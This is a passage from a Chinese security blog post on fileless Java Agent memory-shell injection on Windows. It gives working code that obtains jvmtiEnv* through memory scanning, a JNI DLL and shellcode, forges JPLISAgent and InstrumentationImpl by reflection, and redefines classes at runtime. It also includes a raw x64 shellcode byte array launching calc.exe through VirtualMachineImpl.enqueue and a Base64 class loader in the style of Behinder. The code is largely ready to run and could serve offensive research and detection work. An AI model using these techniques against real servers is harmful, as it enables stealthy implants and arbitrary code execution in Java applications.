//筛选指针,防止溢出
if ( target % 8 > 0 ||
targetHex.length() != targetHexLength
) {
continue;
}
if ( targetHex.startsWith("a") ||
targetHex.startsWith("b") ||
targetHex.startsWith("c") ||
targetHex.startsWith("d") ||
targetHex.startsWith("e") ||
targetHex.startsWith("f") ||
targetHex.endsWith("00000")
) {
continue;
}
System.out.println("getTarget:"+
Long.toHexString(target)); //低四位就是offset
System.out.println("getValue:"+
Long.toHexString(unsafe.getAddress(target))); //低四位就是value
}
}
}
}

前面也说过,dll 里信息的相对偏移也是固定的(额外分析 dll ),只要找到 dll 基址,甚至可以直接获取到 jvmtiEnv*,于是便可以直接像上上大节的1.7一样直接构造 JPLISAgent。

1.3 不足分析

  • 很显然统计的方法鲁棒性不好,Java版本、Windows版本、系统位数都会影响到统计表和 dll 内相对地址。
  • 不好判断指针指向的内容是否仍是是合法范围的指针,如果越界会导致程序崩溃。

2. JNI 调用 dll 函数获取 jvmtiEnv*

我们的核心问题一直是如何获取 JNI_GetCreatedJavaVMs 函数,这个函数在 dll 里,C/C++可以很方便调用 dll 里的函数,如果 Java 能运行 C/C++ 代码也就很方便了。但Java若想要执行C/C++的代码,一般得通过JNI,即Java本地调用(Java Native Interface),加载 JNI 链接库,调用 Native 方法实现。
那么直接编写一个使用能加载 jvm.dll 后运行JNI_GetCreatedJavaVMs 函数的 dll 或 so,然后通过 JNI 途径的 System.load 函数加载 dll 岂不是美哉?然而!这样需要一个 dll 或者 so 落地,这和无文件 Agent 植入的初衷违背了。
不过虽然违背,但我觉得还是有必要实现一波,之前提到 Windows 下 Java 可以直接执行 shellcode,那么我们可以模仿编写C/C++程序的思路调用 JNI_GetCreatedJavaVMs 函数,编写 shellcode。

2.1 参考文章

2.2 生成 JNI 头文件

IDEA 新建一个项目 jni-demo,这里我选择了Java 11 版本,记得对应后面的引用文件。然后项目新建一个Demo类,注册了一个 native 函数 inject:

1
2
3
public class Demo {
public native long inject(byte[] arg);
}

接着jni-demo目录下运行:javac ./src/Demo.java -h cpp-src
在 cpp-src 目录生成了 Demo.h 文件,需要我们进一步实现方法。

  • Java 11 移除了 javah 工具,融合到了 javac 工具的 -h 参数中 “参考”
  • 如果使用 Java 8 可以看 2.1 的参考文章,使用 javah -classpath bin -jni -o src/injector.h Demo
    当然,src 目录下还生成了一个 Demo.class 可以删了,后面 idea 会再次生成的。

2.3 编译 CMake 项目

使用 Visual Studio 新建一个 CMake 项目 :demo_dll,生成后修改 demo_dll 文件夹下的 CMakeLists.txt 文件,注意不是根目录那个。

1
2
3
4
5
6
7
8
9
10
11
12
13
# CMakeList.txt: demo_dll 的 CMake 项目,在此处包括源代码并定义
# 项目特定的逻辑。
#
cmake_minimum_required (VERSION 3.8)

include_directories("C:\\Program Files\\Java\\jdk-11.0.11\\include")
include_directories("C:\\Program Files\\Java\\jdk-11.0.11\\include\\win32")

# 将源代码添加到此项目的可执行文件。
#add_executable (demo_dll "demo_dll.cpp" "demo_dll.h")
add_library(demo_dll SHARED demo_dll.cpp demo_dll.h)

# TODO: 如有需要,请添加测试并安装目标。

需要改动的地方:

  • add_executable一行注释掉,然后添加 add_library(demo_dll SHARED demo_dll.cpp demo_dll.h)
  • 然后依次添加两个include_directories,路径对应 Java 版本的 两个include 目录,因为我们需要引用 jni.h 这个头文件
    保存后会自动更新项目,然后 Ctrl+Shift+B 应该可以正常生成 dll 文件。
    我们上一步得到的Demo.h为:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    /* DO NOT EDIT THIS FILE - it is machine generated */
    #include <jni.h>
    /* Header for class Demo */

    #ifndef _Included_Demo
    #define _Included_Demo
    #ifdef __cplusplus
    extern "C" {
    #endif
    /*
    * Class: Demo
    * Method: inject
    * Signature: ([B)J
    */
    JNIEXPORT jlong JNICALL Java_Demo_inject
    (JNIEnv *, jobject, jbyteArray);

    #ifdef __cplusplus
    }
    #endif
    #endif
    这个头文件的内容直接全部复制到 demo_dll.h 中,不能不复制过去而只修改cpp文件,这样会后面 Java 报错 java.lang.UnsatisfiedLinkError。修改后的demo_dll.h 如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    #pragma once

    #include <iostream>

    // TODO: 在此处引用程序需要的其他标头。

    /* DO NOT EDIT THIS FILE - it is machine generated */

    #include <jni.h>
    /* Header for class Demo */

    #ifndef _Included_Demo
    #define _Included_Demo
    #ifdef __cplusplus
    extern "C" {
    #endif
    /*
    * Class: Demo
    * Method: inject
    * Signature: ([B)J
    */
    JNIEXPORT jlong JNICALL Java_Demo_inject
    (JNIEnv*, jobject, jbyteArray);

    #ifdef __cplusplus
    }
    #endif
    #endif

然后根据函数定义JNIEXPORT void JNICALL Java_Demo_inject(JNIEnv *, jobject, jbyteArray),修改 demo_dll.cpp 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// demo_dll.cpp: 定义应用程序的入口点。
//

#include "demo_dll.h"
extern "C"

/* inject some shellcode... */
long long inject(char* buffer, int length) {
printf("hello jni: %s!\n", buffer);
return 0x12345678; //测试值
}

JNIEXPORT jlong JNICALL Java_Demo_inject(JNIEnv* env, jobject object, jbyteArray jdata) {
char* str;

//取jdata,对应Java参数(byte[] arg)
jbyte* data = env->GetByteArrayElements(jdata, 0);
//获取jdata长度
jsize length = env->GetArrayLength(jdata);

//jbyte*转char*
str = new char[length + 1];
memset(str, 0, length + 1);
memcpy(str, data, length);
str[length] = 0;

//str传入inject函数,返回long值
jlong ret = inject(str, (int)length);

//清空参数缓存
env->ReleaseByteArrayElements(jdata, data, 0);

//返回jlong类型
return ret;
};

jdata*char*参考文章3 ,返回值的构造见参考文章4 inject 函数实现我们真正要的功能。关于Java_Demo_inject函数 env 参数和函数结构,不同 Java 版本不同,和引入的jni.h有关,所以直接用 cs官方的做法 会报错,留意 Visual Studio 的提示修改就好。
修改完成后再次 Ctrl+Shift+B 编译应该会成功编译得到 demo_dll.dll,在out\build\x64-Debug\demo_dll 目录下。

2.4 JNI 引用 DLL

回到 2.2 新建的 IDEA 工程,新建测试类:DemoTest

1
2
3
4
5
6
7
8
9
public class DemoTest {  
public static void main(String[] args) {
System.load("D:\\...\\demo_dll\\demo_dll\\out\\build\\x64-Debug\\demo_dll\\demo_dll.dll");
Demo demo2 = new Demo();
byte[] msg = new byte[]{'a', 'b', 'c'};
long ret = demo2.inject(msg);
System.out.printf("ret: 0x%x\n", ret);
}
}

运行后输出:
demo-test输出.png

2.5 获取 JavaVM 和 jvmtiEnv

为了获取 jvmtiEnv* ,需要调用 JavaVMGetEnv 方法,而获取 JavaVM* 可以用 JNI_GetCreatedJavaVMs 函数。JNI_GetCreatedJavaVMsjvm.dll 里导出的函数,可以使用 C/C++ 的 Windows.hGetProcAddress 函数通过函数名获取。当然在获取函数前需要用 LoadLibraryA 函数加载 dll。于是总的流程如下:

  • LoadLibraryA 加载 DLL
  • GetProcAddress 查找获得函数 JNI_GetCreatedJavaVMs 地址
  • 调用 JNI_GetCreatedJavaVMs 函数获得 JavaVM*
  • 调用JavaVM* 的 GetEnv 方法获取 jvmtiEnv*
  • 通过 JNI 返回 jvmtiEnv*
  • Java 层利用 jvmtiEnv* 构造 JPLISAgent,反射构造 InstrumentationImpl
  • 反射调用 InstrumentationImpl 的 redefineClasses 方法动态修改类方法

在 C/C++ 那边,我们只需要修改上一小节中的 inject 函数,当然还需要在头文件里引入Windows.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
/* inject some shellcode... */
long long inject(char* buffer, int length) {
HMODULE hModule = LoadLibraryA("jvm.dll");
if (hModule == 0) {
printf("no dll...\n");
return -1;
}
FARPROC farProc = GetProcAddress(hModule, "JNI_GetCreatedJavaVMs");
if (farProc == 0) {
printf("no function...\n");
return -1;
}
printf("hello jni: %s!\nfind function: %lld\n", buffer, (long long)farProc);

JNI_GetCreatedJavaVMs_FUNC func = (JNI_GetCreatedJavaVMs_FUNC)farProc;

//调用函数,vm_ptr指向的内存空间为vm_ptr_store,也就是vm*就是vm_ptr_store的值
long long vm_ptr_store = 0;
JavaVM** vm_ptr = (JavaVM**)(&vm_ptr_store);
jsize _jsize = 1;
jsize* _jsize_ptr = &_jsize;
func(vm_ptr, _jsize, _jsize_ptr);

printf("vm_ptr: %lld\n", vm_ptr_store);


JavaVM* vm = *vm_ptr;
long long jvmtiEnv_ptr_store = 0; //填充
long long* jvmtiEnv = &jvmtiEnv_ptr_store;
jint ver = 0x300B0000;
vm->GetEnv((void**)(&jvmtiEnv), ver); // 要传二级指针进去

printf("jvmtiEnv: %lld\n", jvmtiEnv);

FreeLibrary(hModule);
return (long long)jvmtiEnv; //jvmtiEnv*
}

注意 jlong 的长度也就是 Java 里 long 类型的长度是 8 字节(64位系统),而 C 中 long 是4字节,long long 才是8字节。还有要注意指针传参。修改完 inject 函数后 Ctrl+Shift+B 重新编译DLL。

2.6 构造 JPLISAgent 和 InstrumentationImpl

在 IDEA 中新建一个 Bird类,内容和第一大节那个一样,如果还留着那个恶意的 Bird.class 可以直接拿过来用。
结合第二大节的 1.7 和 1.8 小节的内容,修改上一节的DemoTest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import sun.misc.Unsafe;  

import java.io.*;
import java.lang.instrument.ClassDefinition;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class DemoTest {
public static void main(String[] args) throws Exception {
Bird bird = new Bird();
bird.say();

System.load("D:\\...\\demo_dll\\demo_dll\\out\\build\\x64-Debug\\demo_dll\\demo_dll.dll");
Demo demo2 = new Demo();
byte[] msg = new byte[]{'a', 'b', 'c'};
long jvmtiEnv = demo2.inject(msg);
System.out.printf("jvmtiEnv*: 0x%x\n", jvmtiEnv);

//分配内存构造JPLISAgent
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);

long JPLISAgent = unsafe.allocateMemory(25L);
//JavaVM*
unsafe.putLong(JPLISAgent, 0L);
//_JPLISEnvironment
unsafe.putLong(JPLISAgent+8L, jvmtiEnv); //jvmtiEnv *
unsafe.putLong(JPLISAgent+16L, JPLISAgent); //JPLISAgent *
unsafe.putByte(JPLISAgent+24L, (byte)0x1); //jboolean
//can_redefine_classes unsafe.putByte(jvmtiEnv + 377L, (byte)0x2); //JAVA11所以是+377

//从文件读取class字节码,实际中肯定是硬编码或者传过来,以达到无文件的目的
byte[] evilClassClassBytes = DemoTest.readBytesFromClassFile("D:\\...\\Bird.class");

//反射构造InstrumentationImpl
Class instrumentationImplClass =
Class.forName("sun.instrument.InstrumentationImpl");

Constructor instrumentationImplConstructor =
instrumentationImplClass.getDeclaredConstructor(
long.class,
boolean.class,
boolean.class
);

instrumentationImplConstructor.setAccessible(true);

//构造函数接受第一个值nativeAgent,实际上就是JPLISAgent指针,也就是上节的theUnsafe
Object instrumentationImpl =
instrumentationImplConstructor.newInstance(JPLISAgent, true, false);

ClassDefinition[] classDefinitions = new ClassDefinition[1];

//第一个参数为类class,第二个为待修改成的字节码
classDefinitions[0] = new ClassDefinition(Bird.class, evilClassClassBytes);

Method redefineClassesMethod =
instrumentationImplClass.getDeclaredMethod(
"redefineClasses",
ClassDefinition[].class
);

redefineClassesMethod.setAccessible(true);

redefineClassesMethod.invoke(
instrumentationImpl,
new Object[]{classDefinitions}
);

//查看结果
bird.say();
}

public static byte[] readBytesFromClassFile(String filename) throws IOException {
File f = new File(filename);
if (!f.exists()) {
throw new FileNotFoundException(filename);
}
ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length());
BufferedInputStream in = null;
try {
in = new BufferedInputStream(new FileInputStream(f));
int buf_size = 1024;
byte[] buffer = new byte[buf_size];
int len = 0;
while (-1 != (len = in.read(buffer, 0, buf_size))) {
bos.write(buffer, 0, len);
}
return bos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
throw e;
} finally {
try {
in.close();
} catch (IOException e) {
e.printStackTrace();
}
bos.close();
}
}
}

运行项目,可以看到方法确实被修改了:
jni修改结果.png

3. 构造 shellcode 获取 jvmtiEnv*

上一节我们使用了 C/C++ 的 LoadLibraryAGetProcAddress 函数,那么能不能直接构造 shellcode 调用这两个函数呢?当然可以!kernel32.dll 导出了 GetProcAddress 函数,在《论如何优雅的注入 Java Agent 内存马》 一文中给出了 shellcode 的操作流程:

  • 获取 kernel32.dll 基址
  • 通过 kernel32.dll 的 导出表/输出表 得到 GetProcAddress 函数的地址
  • 调用 GetProcAddress 函数获取 LoadLibraryA 函数的地址
  • 使用 LoadLibraryA 函数加载 jvm.dll
  • 使用 GetProcAddress 函数获取 jvm.dllJNI_GetCreatedJavaVMs 的函数地址
  • 调用JNI_GetCreatedJavaVMs 函数得到 JavaVM*
  • 得到 JavaVM* 根据相对偏移调用 GetEnv 函数,得到 jvmtiEnv*
  • jvmtiEnv* 写入通过 Java Unsafe 库分配的内存里
    最后 Java 读取 unsfe 内存块的数据,得到 jvmtiEnv*。shellcode 的执行可以用 《Java内存攻击技术漫谈》中提出的方式,所以主要难点是如何编写 shellcode。

3.1 shellcode 构造

近期太忙了,没有太多时间学习汇编了,所以只贴一些文章先码住:

3.2 Java 11 执行 shellcode

《Java内存攻击技术漫谈》一文给出了具体的构造方式,核心在于 sun.tools.attach.WindowsVirtualMachine 类的 enqueue 函数,这个native函数可以动态加载 shellcode。在另一篇文章 《Java利用技巧——通过jsp加载Shellcode》 里,3gstudent 师傅
解释了很多构造的细节,还提供了 jsp 的构造方法,可以慢慢看。
Windows 的汇编还是挺复杂度,又要分x86和x64,有空再补全,逃…

但是上述两篇文章都是基于Java 8 的,但在 Java 11 里是没有 WindowsVirtualMachine 这个类的,WindowsVirtualMachine 这个类定义在 tools.jar里。文章里有说过通过手动构造 sun.tools.attach.WindowsVirtualMachine 和使用 ClassLoaderdefineClass 方法防止没有系统没有引用 tools.jar 。但…… Java 11 也把 tools.jar 从 %JAVA_HOME%/lib 里删掉了,所以用 sun.tools.attach.WindowsVirtualMachine 会报错找不到 Native 符号。

虽然把类删了,但是我们明明可以在 Java 11 使用 agent 植入啊是吧。对比 jdk.attach 包下的类,发现虽然没了 WindowsVirtualMachine,但是多了 VirtualMachineImpl,查看发现了熟悉的 enqueue 函数,除了参数名完全一直,所以如果在Java 11 环境,只需要把 WindowsVirtualMachine 全换成 VirtualMachineImpl 即可。对比:

1
2
3
4
5
6
7
//WindowsVirtualMachine
static native void enqueue(long var0, byte[] var2,
String var3, String var4, Object... var5) throws IOException;

//VirtualMachineImpl
static native void enqueue(long hProcess, byte[] stub,
String cmd, String pipename, Object ... args) throws IOException;

根据 3gstudent 师傅文章构造新的项目,新建一个 sun.tools.attach.VirtualMachineImpl 类,用于存储和输入 shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package sun.tools.attach;  

import java.io.IOException;

public class VirtualMachineImpl {
public VirtualMachineImpl() {
}
static native void enqueue(long hProcess, byte[] stub, String cmd, String pipename, Object ... args) throws IOException;
static native long openProcess(int var0) throws IOException;
public static void run(byte[] buf) {
System.loadLibrary("attach");
//calc
buf = new byte[] {-4, 72, -125, -28, -16, -24, -64, 0, 0, 0, 65, 81, 65, 80, 82, 81, 86, 72, 49, -46, 101, 72, -117, 82, 96, 72, -117, 82, 24, 72, -117, 82, 32, 72, -117, 114, 80, 72, 15, -73, 74, 74, 77, 49, -55, 72, 49, -64, -84, 60, 97, 124, 2, 44, 32, 65, -63, -55, 13, 65, 1, -63, -30, -19, 82, 65, 81, 72, -117, 82, 32, -117, 66, 60, 72, 1, -48, -117, -128, -120, 0, 0, 0, 72, -123, -64, 116, 103, 72, 1, -48, 80, -117, 72, 24, 68, -117, 64, 32, 73, 1, -48, -29, 86, 72, -1, -55, 65, -117, 52, -120, 72, 1, -42, 77, 49, -55, 72, 49, -64, -84, 65, -63, -55, 13, 65, 1, -63, 56, -32, 117, -15, 76, 3, 76, 36, 8, 69, 57, -47, 117, -40, 88, 68, -117, 64, 36, 73, 1, -48, 102, 65, -117, 12, 72, 68, -117, 64, 28, 73, 1, -48, 65, -117, 4, -120, 72, 1, -48, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, -125, -20, 32, 65, 82, -1, -32, 88, 65, 89, 90, 72, -117, 18, -23, 87, -1, -1, -1, 93, 72, -70, 1, 0, 0, 0, 0, 0, 0, 0, 72, -115, -115, 1, 1, 0, 0, 65, -70, 49, -117, 111, -121, -1, -43, -69, -16, -75, -94, 86, 65, -70, -90, -107, -67, -99, -1, -43, 72, -125, -60, 40, 60, 6, 124, 10, -128, -5, -32, 117, 5, -69, 71, 19, 114, 111, 106, 0, 89, 65, -119, -38, -1, -43, 99, 97, 108, 99, 46, 101, 120, 101, 0};
try {
enqueue(-1L, buf, "test", "test");
} catch (Exception var2) {
var2.printStackTrace();
}
}
}

然后把类编译,得到 VirtualMachineImpl.class,读取字节码转成 base64 字符串,当然只是测试也可以直接读取字节数组然后输入到 defineClass 也行。这个编码功能用 ClassToBase64 类实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.*;  
import java.util.Base64;
public class ClassToBase64 {
public static void main(String[] args)
{
try {
// File file = new File("D:\\...\\shellcode-execute\\out\\production\\shellcode-execute\\sun\\tools\\attach\\WindowsVirtualMachine.class");
File file = new File("D:\\...\\shellcode-execute\\out\\production\\shellcode-execute\\sun\\tools\\attach\\VirtualMachineImpl.class");
FileInputStream fi = new FileInputStream(file);
byte[] buffer = new byte[(int) file.length()];
int offset = 0;
int numRead = 0;
while (offset < buffer.length
&& (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0) {
offset += numRead;
}
if (offset != buffer.length) {
throw new IOException("Could not completely read file " + file.getName());
}
fi.close();
String encoded = Base64.getEncoder().encodeToString(buffer);
System.out.println(encoded);
} catch (Exception e) {
e.printStackTrace();
}
}
}

运行main方法得到 Base64 字符串。手动复制下字符串,把字符串写入 LoadShellcode 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.lang.reflect.Method;  
import java.util.Base64;
public class LoadShellcode {
public static class Myloader extends ClassLoader
{
public Class get(byte[] b) { //冰蝎使用的动态加载字节码方式
return super.defineClass(b, 0, b.length);
}
}
public static void main(String[] args)
{
try {
//calc
String classStr="yv66vgAAADcAMQ............";
Class result = new Myloader().get(
Base64.getDecoder().decode(classStr)
);
for (Method m:result.getDeclaredMethods())
{
System.out.println(m.getName());
if (m.getName().equals("run"))
{
m.invoke(result,new byte[]{});
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}

最后运行,可以弹出计算器。
执行shellcode弹计算器.png

3.3 组装shellcode,构造JPLISAgent 和 InstrumentationImpl

具体的代码师傅们都写了,我这里写一下思路:

  • Java 代码通过 unsafe 获得一片地址空间,也就得到了这片空间的地址
  • shellcode 最后会把获取到的 jvmtiEnv* 写入某片内存空间,地址由外部指定。指定的方式是:
    • 正常编写汇编,写入 jvmtiEnv* 的地址先随便填充
    • 编译汇编得到机器码,找到那个填充的地址
    • 根据填充的地址将机器码分成前后两份 $S_1$ 和 $S_2$
    • 当使用时,将指定的地址进行小端序编码,补充到合法指针长度,得到 $A_1$
    • 最后拼接三者:$S_1 + A_1 + S_2$,得到可以指定 jvmtiEnv* 返回地址的 shellcode
  • 把 shellcode 的 jvmtiEnv* 返回地址指向第一步开辟的空间
  • Java 通过 3.2 的方式执行组装好的 shellcode
  • Java 访问开辟的空间的指定位置就可以得到 jvmtiEnv* 了,当然也可以直接把空间开辟为 JPLISAgent 的构造空间,把 jvmtiEnv* 返回到需要的位置
  • 补充 JPLISAgent 其他信息,反射构造 InstrumentationImpl
  • 反射调用 redefineClasses 方法修改指定类方法

4. 总结

相比 Linux 的构造,Windows 要复杂的多,最优越方式还是执行 shellcode 的构造方式。不管是 Linux 还是 Windows,核心都是获取 jvmtiEnv*,于是也就都沿着

1
2
3
4
5
libjvm.so/jvm.dll
- JavaVM* <= JNI_GetCreatedJavaVMs()
- jvmtiEnv* <= JavaVM*->GetEnv()
- JPLISAgent* <= jvmtiEnv*
- InstrumentationImpl <= JPLISAgent*

这一条路构造 InstrumentationImpl。
在本大节还介绍了通过 JNI 获取 jvmtiEnv* 的方法,这也是冰蝎使用的方法,只不过这样需要额外上传一个 so 或者 dll 文件,虽然不够感觉,但是实现起来比写 shellcode 兼容性、简易性和可修改性很好。
另外, rebeyond 师傅在《Java内存攻击技术漫谈》 还提出了Java跨平台任意Native代码执行的想法,使得 linux 也可以执行 shellcode,所以这使得Linux其实可以通过 Java 执行 shellcode 而不是替换 native 函数的方式获取 jvmtiEnv*

 评论